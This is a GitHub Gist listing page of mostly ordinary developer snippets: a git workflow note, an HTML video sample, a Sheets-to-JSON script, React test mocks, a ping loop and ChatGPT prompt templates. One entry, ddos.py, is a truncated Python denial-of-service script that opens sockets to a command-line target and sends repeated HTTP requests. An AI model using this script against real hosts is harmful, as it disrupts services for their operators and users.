Skip to content

Instantly share code, notes, and snippets.

# Git Workflow (used in claudecode)
## Quick Steps
1. Draft issue → Create issue → Delete draft
2. Sync main → Create branch → Code → Commit → Push → PR → Merge
## Workflow
### 1. Create Issue
```bash
@wahengchang
wahengchang / m3nuPage.html
Created November 7, 2023 01:44
m3u8 html sample
<html lang="en">
<head>
<meta charset="utf-8" />
<title>sample m3u8 page</title>
</head>
<body>
<!-- CSS -->
<!-- file source is from: https://gist.github.com/Fazzani/8f89546e188f8086a46073dc5d4e2928 -->
<!-- this html page is from: https://stackoverflow.com/questions/19782389/playing-m3u8-files-with-html-video-tag -->
@wahengchang
wahengchang / google-sheet-to-json-download.gs
Last active June 20, 2025 07:52
a app script that adding a item on menu, which can download json by the current sheet, also upload a json and insert to new sheet
/**
* Add both menus on open.
*/
function onOpen() {
const ui = SpreadsheetApp.getUi();
// Export menu
ui.createMenu('Export')
.addItem('Download as JSON', 'showDownloadDialog')
.addToUi();
@wahengchang
wahengchang / ShareCom.js
Last active October 29, 2024 18:28
Unit test, mocking components
import { InstallCom } from 'installComponent' //installed by npm
import UserCom from './userComponent'
export class ShareCom extends Component {
render() {
return (
<div>
<InstallCom para1='title1'/>
<UserCom para2='title2' />
</div>
# Privacy Policy for URL Extractor Chrome Extension
Last updated: 2024/08/15
## Introduction
This Privacy Policy describes how the URL Extractor Chrome Extension ("we", "our", or "the extension") collects, uses, and discloses information from its users.
## Information Collection and Use
@wahengchang
wahengchang / ddos.py
Created April 27, 2016 14:17 — forked from tinnguyenz/ddos.py
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
@wahengchang
wahengchang / pingLoop.sh
Created July 28, 2021 06:29
ping multiple IP's using bash, Loop through an array of strings of IP. and save the result to text file, with naming
#!/bin/bash
# Program name: pingLoop.sh
# Run: source pingLoop.sh
# put your target list of ip to arr
declare -a arr=("192.168.0.1" "192.168.0.2")
for ip in "${arr[@]}"
do
# change 200 to the number of packets that you want
@wahengchang
wahengchang / ChatgptPromp - FAQQAnswerGenerator
Created July 3, 2023 15:11
Chatgpt Promp - FAQ - Answer generator, by providing a question and reference
You name is "Crypto FAQ Expertise", and you will now act as a crypto FAQ, your responsible is to answer user question [input], and generate 3 different answer for the question [input] in different perspective.
Rule of output -------------
you will generate 3 different answer in 3 different perspective,
- each answer should be short and informative, finish within one paragraph
[IMPORTANT FOR ALL TIME] You, as the"Crypto FAQ Expertise", keep that in mind and ensure that you follow the guidelines and never change
[IMPORTANT FOR ALL TIME] You, as the "Crypto FAQ Expertise", with professional knowledge in crypto, and you are good in writing, you always write in uniqueness , informative and creative.
-=-=-=-=-=--=-=-=-=-=
@wahengchang
wahengchang / ChatgptPromp - FAQQuestionGenerator
Created July 3, 2023 15:10
Chatgpt Promp - FAQ - Question generator, by providing an article/whitepaper
You name is "Crypto question generator", and you are a crypto expert will now act as a questions generator in crypto related information. your responsible is to generate questions by article/information by the user [input]. at least 3 different questions needed to provide for each [input]
Rule of output -------------
you will generate at least 3 or more different questions by given one article by user [input]
- each question need to be short within one sentence
[IMPORTANT FOR ALL TIME] You, as the "Crypto question generator", keep that in mind and ensure that you follow the guidelines and never change
[IMPORTANT FOR ALL TIME] You, as the "Crypto question generator", with professional knowledge in crypto, avoid asking too generic question. and you only ask Accurate, precise, core questions.
-=-=-=-=-=--=-=-=-=-=
@wahengchang
wahengchang / chatgptPromptGenerator_shortenPrompt
Created June 24, 2023 10:24
[ChatGpt] bot to shorten provided prompt
As the profession of chatgpt, you understand how chatgpt reads and understands prompts, and you are very good at condensing, compressing, and shortening the current prompts. The key points are: 1. Retain the meaning, focus, and action of the original prompt 2. Use more concise and short words, without redundant nonsense.
Please simplify the following prompt, into a one line prompt.
[Goal]: Craft an article in Traditional Chinese that provides relevant and informative details about the currency associated with cryptocurrency BMW.
[Restriction]: Exclude the use of titles and headlines within the article, focusing solely on the related currency.
[Rules]: Start writing the content directly from the first paragraph, omitting any extraneous words that do not pertain to the currency of cryptocurrency BMW.
[Output Language]: Traditional Chinese.